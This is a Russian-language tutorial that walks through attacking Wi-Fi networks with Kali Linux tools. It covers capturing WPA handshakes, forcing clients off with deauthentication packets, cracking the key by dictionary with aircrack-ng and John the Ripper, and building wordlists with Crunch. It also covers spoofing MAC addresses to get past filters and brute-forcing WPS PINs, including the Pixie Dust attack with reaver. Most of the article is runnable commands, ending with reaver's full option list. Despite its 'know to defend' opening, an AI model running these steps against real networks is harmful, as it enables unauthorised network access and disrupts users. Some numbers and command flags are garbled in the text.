Взлом Wi-Fi сетей, Aircrack-ng, Kali Linux.

В этой статье мы познакомимся с популярными методами взлома Wi-Fi сетей. Надеюсь после прочтения, вы сделает более безопасной свою сеть. Как говориться : предупрежден значит вооружен )

WPA/WPA2.

WPA и WPA2 (Wi-Fi Protected Access) собственно это протокол авторизации и шифрования данных в Wi-Fi сетях. На данный момент это самый популярный,  самый надежный протокол. Часто в домашних условиях и маленьких сетях используют   WPA2-PSK(Pre-Shared Key). В начале 2018 года международный альянс Wi-Fi Alliance анонсировал новейший протокол беспроводной безопасности — WPA3.

Основной и самый популярный метод атаки на этот протокол является брутфорс(метод грубой силы, перебор паролей).

handshake.

Для того, чтобы устройство получило маркер доступа в сеть, на устройстве необходимо ввести специальную парольную фразу, называемую Pre-Shared Key. Длина должна быть от 8 до 32 символов, притом можно использовать специальные символы, а также символы национальных алфавитов. После ввода парольной фразы она помещается в специальный пакет ассоциации (пакет обмена ключами, handshake), который передается на точку доступа. Если парольная фраза верна, то устройству выдается маркер доступа в сеть.

Уязвимостью является возможность перехвата пакетов handshake, в которых передается Pre-Shared Key при подключении устройства к сети. По сколько Pre-Shared key шифруется, у злоумышленника остается только одна возможность – атака грубой силой на захваченные ассоционные пакеты.   Также стоит обратить внимание, что для того, чтобы перехватить handshake злоумышленнику совсем не обязательно ждать того момента, как к сети будет подключено новое устройство. На некоторых беспроводных адаптерах, при использовании нестандартных драйверов, есть возможность посылки в сеть реассоционных пакетов, которые будут прерывать сетевые соединения и инициировать новый обмен ключами в сети между клиентами и точкой доступа. В таком случае, для того, чтобы захватить требуемые пакеты, необходимо, чтобы к сети был подключен хотя бы один клиент.

Взлом.

В наших примеров я использую  Kali Linux (Kali Linux — GNU/Linux-LiveCD, возникший как результат слияния WHAX и Auditor Security Collection. Проект создали Мати Ахарони (Mati Aharoni) и Макс Мозер (Max Moser). Предназначен прежде всего для проведения тестов на безопасность). И покет уже установленных программ Airocrack-ng (Это полный набор инструментов для оценки безопасности сети Wi-Fi.)

Первым этапом нам надо перевести наш Wi-Fi адаптер в режим мониторинга. То есть чип адаптера переводиться в режим прослушивания эфира. Все пакеты которые отсылают друг другу в округе.

Сначала мы убьем все процессы которые используют Wi-Fi интерфейс:

airmon-ng check kill

Запустите беспроводной интерфейс в режиме мониторинга:

airmon-ng start wlan0

В результате у вас появиться новый интерфейс wlan0mon с ним дальше мы и будем работать (посмотреть доступные интерфейсы можно командой ifconfig ). Теперь мы можем посмотреть что же происходит вокруг:

airodump-ng wlan0mon

  • BSSID — MAC адрес WI-Fi точки.
  • PWR — Сила сигнала.
  • Beacons — Фрейм Бикон (Beacon frame) /Точка доступа WiFi периодически отправляет Биконы для анонсирования своего присутствия и предоставления необходимой информации (SSID, частотный канал, временные маркеры для синхронизации устройств по времени, поддерживаемые скорости, возможности обеспечения QoS и т.п.) всем устройствам в зоне ее покрытия. Радиокарты пользовательских устройств периодически сканируют все каналы 802.11 и слушают биконы, как основу для выбора лучшей точки доступа для ассоциации. Пользовательские устройства обычно не посылают биконы, за исключением ситуации, когда выполняется процедура участия в IBSS (Independent Basic Service Set) или, по другому, в одноранговом соединении типа Ad-hoc.
  • CH — Номер канала точки доступа.
  • ENC- Используемый алгоритм. OPN = нет шифрования, «WEP?» = WEP или выше (недостаточно данных для выбора между WEP и WPA/WPA2), WEP (без знака вопроса) показывает статичный или динамичный WEP, и WPA или WPA2 если представлены TKIP или CCMP или MGT.
  • CIPHER — Обнаруженный шифр. Один из CCMP, WRAP, TKIP, WEP, WEP40, или WEP104. Не обязательно, но обычно TKIP используется с WPA, а CCMP обычно используется с WPA2. WEP40 показывается когда индекс ключа больше 0. Стандартные состояния: индекс может быть 0-3 для 40 бит и должен быть 0 для 104 бит.
  • AUTH —Используемый протокол аутентификации. Один из MGT (WPA/WPA2 используя отдельный сервер аутентификации), SKA (общий ключ для WEP), PSK (предварительно согласованный ключ для WPA/WPA2) или OPN (открытый для WEP).
  • ESSID — Так называемый SSID, который может быть пустым, если активировано сокрытие SSID. В этом случае airodump-ng попробует восстановить SSID из зондирующих запросов ассоциирования.
  • STATION —MAC адрес каждой ассоциированной клиента подключенного к точке доступа. Клиенты, в настоящий момент не ассоциированные с точкой доступа, имеют BSSID «(not associated)».
Можете немного поиграться :
airodump-ng —manufacturer —uptime —wps wlan0mon

Запускаем airodump-ng для беспроводного интерфейса wlan0mon, кроме основной информации мы задаём отображать производителя (—manufacturer), время работы (—uptime) и информацию о WPS (—wps).

Теперь нам надо перехватить  handshake какой либо точки доступа, желательно конечно к которой подключены клиенты ).
 
airodump-ng -c 1 —bssid C0:4A:00:F0:F4:24  -w WPA wlan0mon

-c  <номер> номер канал.

—bssid <MAC> мас адрес точки доступа

-w <имя или путь/имя> файл в который будут сохранены все перехваченные пакты.

wlan0mon Название беспроводного интерфейса интерфейса.

После удачного захвата рукопожатий в правом углу будет надпись WPA handshake

К стати мы можем попытаться ускорить процесс , заставив клиента переподключиться к точки доступа :

aireplay-ng —deauth 100 -a 00:11:22:33:44:55 -c AA:BB:CC:DD:EE:FF wlan0mon

—deauth <число сообщений> — отправка запроса  деаунтифицировать. (0 не ограниченное число пакетов)

-a <MAC> — Мас адрес точки доступа.

-с <MAC> — Мас адрес клиента.

wlan0mon — интерфейс.

Другие виды атак :

       --fakeauth    задержка : фальшивая аутентификация с ТД (-1)
      --interactive       : интерактивный выбор фреймов (-2)
      --arpreplay         : стандартная повторная отправка запросов ARP (-3)
      --chopchop          : расшифровать/порубить WEP пакет (-4)
      --fragment          : сгенерировать валидный поток ключей   (-5)
      --caffe-latte       : запросить клиента на новые IVs  (-6)
      --cfrag             : фрагментирование в отношении клиента  (-7)
      --migmode           : атаки режим миграции WPA  (-8)
      --test              : тест возможности инжекта и качества соединения (-9).
 

Теперь нам надо расшифровать его и узнать PSK:

aircrack-ng -w wordlist.dic -b C0:4A:00:F0:F4:24  WPA.cap

-w <путь/файл словаря> — Указываем словарь для перебора паролей.

-b <MAC>  — Мас адрес точки доступа.

WPA.cap — Файл с  handshake.

aircrack-ng всем хорош, но у него нету функции паузы и запоминания места где вы остановились. Это очень не удобно когда у вас огромный словарь )  Мы это справим  программой  John The Ripper (свободная программа, предназначенная для восстановления паролей по их хешам. Основное назначение программы — аудит слабых паролей в UNIX системах путем перебора возможных вариантов.Она уже есть в дистрибутиве). 

john —session=foo —stdout —wordlist=wordlist.dic | aircrack-ng -w — -b 00:11:22:33:44:55 WPA.cap

То есть мы будем брать пароли из словаря этой программной и направлять их в aircrack-ng.

—session — Имя сессии.

— stdout — Путь к словарю.

Для паузы нам надо нажать q или ctrl+c. Программа создаст специальный файл с сессией и запомнит место где мы остановились. Продолжить сессию мы можем командой :

john —restore=foo | aircrack-ng -w — -b 00:11:22:33:44:55 WPA.cap

Создание своих словарей.

При атаках типа брутфорс словари играют очень важную роль. Я думаю вы с легкость найдете в интернете куча всяких не понятных словарей. Но еще можно и нужно  делать самому.

Для этого в дистрибутиве Kali Linux есть интересная утилита, называется Crunch. Синтаксис ее довольно прост:

  • min = минимальная длина пароля;
  • max = максимальная длина;
  • characterset = символы, которые будут использоваться для генерации паролей;
  • -t <pattern> = возможность создавать паттерны. Давай на примере. Скажем, ты знаешь, что у человека день рождения 28 июля и эти цифры есть в пароле вида 0728, но перед этим числом есть еще какие-то символы. Поэтому ты пишешь что-то вроде @@@@@@@0728, и получается, что лист будет сгенерирован на 11 -значный пароль. Семь символов, которые будут генериться, а четыре будут фиксированными. По мне, так весьма крутая и удобная фишка;
  • -о <outputfile> = выходной файл для нашего листа.
  • -p = перестановка.
  • -d — ограничение числа последовательно одинаковых символов.

crunch 4 8

Как сам понимаешь, кранч будет генерить пароли от 4 до 8 символов. Как видишь, ничего сложного, теперь давай что-нибудь поинтереснее:

crunch 6 8 1234567890 -о /гооt/wordlist.txt

Здесь будет сгенерирован словарь от 6 до 8 символов, в пароле только цифры и зальются они во внешний файл, что мы указали. Остается только воспользоваться получившимся словарем.

crunch 1 1 -p Alex Company Position

Словарь состоит из всех возможных комбинаций слов Alex, Company и Position.

Для тега -t есть шаблоны :

  • ^ — спецсимволы.
  • @ — буквы в нижнем регистре.
  • , — буквы в верхнем регистре.
  • % — цифры.

Обход фильтра MAC адреса.

Иногда в точках доступа включают фильтрации по пользователе по MAC. Так вот, это совсем бесполезна штука.

В Linux системах вы можете свободно поменять ваш МАС адрес на любой:

ifconfig wlan0 down
ifconfig wlan0 hw ether 00:11:22:AA:AA:AA
ifconfig wlan0 up

Предварительно нужно отключить любые mon-интерфейсы. Проверить, заработала ли подмена, можно вызвав ifconfig wlan0 — в строке Hwaddr должен быть указанный выше MAC.

Кроме того, в *nix есть macchanger — с его помощью можно выставить себе случайный MAC. Если поставить его в init.d, то неприятель будет совершенно сбит с толку, так как при каждой загрузке наш MAC будет другим (работает для любых проводных и беспроводных адаптеров, как и ifconfig).

# Случайный MAC:
macchanger -r wlan0
# Определённый MAC:
macchanger -m 11:22:33:AA:BB:CC wlan0
# Показать MAC:
macchanger -s wlan0

В Kali Linux есть база данных валидных MAC адресов:

  • /var/lib/ieee-data/oui.txt
  • /var/lib/ieee-data/oui36.txt.
  • /var/lib/ieee-data/iab.txt
  • /var/lib/ieee-data/mam.txt

А обновить базу данных можно командой

airodump-ng-oui-update

Атака на WPS.

Wi-Fi Protected Setup (защищённая установка), WPS — стандарт (и одноимённый протокол) полуавтоматического создания беспроводной сети Wi-Fi.

В декабре 2011 Стефан Фибёк (англ. Stefan Viehböck) и Крейг Хеффнер (англ. Craig Heffner) рассказали о серьёзных прорехах в протоколе WPS. Оказалось, что если в точке доступа активирован WPS c PIN (который по умолчанию включен в большинстве роутеров), то подобрать PIN-код для подключения можно за считанные часы.

PIN-код состоит из восьми цифр — следовательно, существует 108 (100 000 000) вариантов PIN-кода для подбора. Однако количество вариантов можно существенно сократить. Дело в том, что последняя цифра PIN-кода представляет собой контрольную сумму, которая можно вычислить на основании первых семи цифр. Таким образом количество вариантов уже сокращается до 107 (10 000 000).

Авторизация по WPS предполагает отправку клиентом последовательности цифр PIN-кода и пакетов M4 или M6 и ответы на них от базовой станции. Если первые 4 цифры PIN-кода некорректны то получив их точка доступа отправит EAP-NACK сразу после получения M4, а если была ошибка в последних 3 цифрах правой части (8-ое число не считаем так как оно легко генерируется атакующим по формуле) — то после получения M6. Таким образом, недостаток протокола позволяет разделить PIN-код на две части, 4 начальные цифры и 3 последующие.

Также были обнаружены уязвимости в генераторе случайных чисел маршрутизаторов некоторых производителей. Уязвимость получила название pixie dust. Для уязвимых роутеров можно получить pin после первой попытки и оффлайн-брутфорса.

Алгоритм атаки:

  • Переводим беспроводной интерфейс в режим монитора.
  • Ищем цели для атаки.
  • Проверяем на подверженность Pixie Dust.
  • Запускаем полный перебор, если предыдущие шаги не дали результата.
  • Если получен ПИН, но не показан WPA пароль, то запускаем команды для получения пароля от Wi-Fi.

Для поиска точек доступ можем воспользоваться удобной программой Wash. Wash  — это утилита для идентификации точек доступа с включённым WPS. Она может искать с живого интерфейса и уже есть в Kali Linux.

wash -i wlan0

Или может сканировать список pcap файлов:

wash -f capture1.pcap

Нас интересует опция Lck (No не блокирован WPS) и Vendor (производитель). Pixie Dust подвержены Ralink, Broadcom и Realtek.

Перейдем к пункту Pixie Dust. Для проверки мы будем использовать программу reaver (Reaver предназначен для подборки пина WPS (Wifi Protected Setup) методом перебора. Уже есть в Kali Linux).

reaver -i интерфейс -b MAC_адрес_точки -K

Как можно увидеть на скриншоте, Точка Доступа оказалась уязвимой, и получен её WPS пин.

Теперь нам надо узнать пароль. Для получения пароля Wi-Fi сети вам нужно в Reaver использовать опцию -p, после которой указать известный ПИН.

reaver -i wlan0 -b EE:43:F6:CF:C3:08 -p 36158805

Все пошло не так!

Попробуем сразу вдарить молотком и запустим полный перебор пина.

reaver -i интерфейс -b MAC_адрес

Перебор WPS пинов может идти неудачно по многим причинам, поэтому для более подробного вывода, чтобы определить, в чём проблема, используются опции -v-vv или -vvv. Как можно догадаться, чем больше букв v, тем больше будет выведено подробной информации.

При полном переборе reaver показывает но только WPS но пароль доступа к WiFi.  для получения пароля Wi-Fi сети вам нужно в Reaver использовать опцию -p, после которой указать известный ПИН.

Если будут какие то проблемы можно поиграть с дополнительными опциями  reaver , например так :

reaver -i wlan0mon -c 6  -a MAC  —no-nacks -T .5 -d 15

—no-nacks Не отправлять сообщения NACK когда получены пакеты о неисправности.

-c < >  Номер канала точки доступа.

-T < > Установить период таймаута M5/M7 по умолчанию [0.20].

-d < > Установить задержку между попытками пина, по умолчанию  [1]

-x < >  Установить время для паузы после 10 неожиданных неудач, по умолчанию [0].

*Особая заметка: если вы атакуете ТД Realtek, НЕ используйте малые ключи DH (-S)

Полный список опций:

Copyright (c) 2011, Tactical Network Solutions, Craig Heffner <cheffner@tacnetsol.com>

Required Arguments:
	-i, --interface=<wlan>          Name of the monitor-mode interface to use
	-b, --bssid=<mac>               BSSID of the target AP

Optional Arguments:
	-m, --mac=<mac>                 MAC of the host system
	-e, --essid=<ssid>              ESSID of the target AP
	-c, --channel=<channel>         Set the 802.11 channel for the interface (implies -f)
	-s, --session=<file>            Restore a previous session file
	-C, --exec=<command>            Execute the supplied command upon successful pin recovery
	-f, --fixed                     Disable channel hopping
	-5, --5ghz                      Use 5GHz 802.11 channels
	-v, --verbose                   Display non-critical warnings (-vv or -vvv for more)
	-q, --quiet                     Only display critical messages
	-h, --help                      Show help

Advanced Options:
	-p, --pin=<wps pin>             Use the specified pin (may be arbitrary string or 4/8 digit WPS pin)
	-d, --delay=<seconds>           Set the delay between pin attempts [1]
	-l, --lock-delay=<seconds>      Set the time to wait if the AP locks WPS pin attempts [60]
	-g, --max-attempts=<num>        Quit after num pin attempts
	-x, --fail-wait=<seconds>       Set the time to sleep after 10 unexpected failures [0]
	-r, --recurring-delay=<x:y>     Sleep for y seconds every x pin attempts
	-t, --timeout=<seconds>         Set the receive timeout period [10]
	-T, --m57-timeout=<seconds>     Set the M5/M7 timeout period [0.40]
	-A, --no-associate              Do not associate with the AP (association must be done by another application)
	-N, --no-nacks                  Do not send NACK messages when out of order packets are received
	-S, --dh-small                  Use small DH keys to improve crack speed
	-L, --ignore-locks              Ignore locked state reported by the target AP
	-E, --eap-terminate             Terminate each WPS session with an EAP FAIL packet
	-J, --timeout-is-nack           Treat timeout as NACK (DIR-300/320)
	-F, --ignore-fcs                Ignore frame checksum errors
	-w, --win7                      Mimic a Windows 7 registrar [False]
	-K, --pixie-dust                Run pixiedust attack
	-Z                              Run pixiedust attack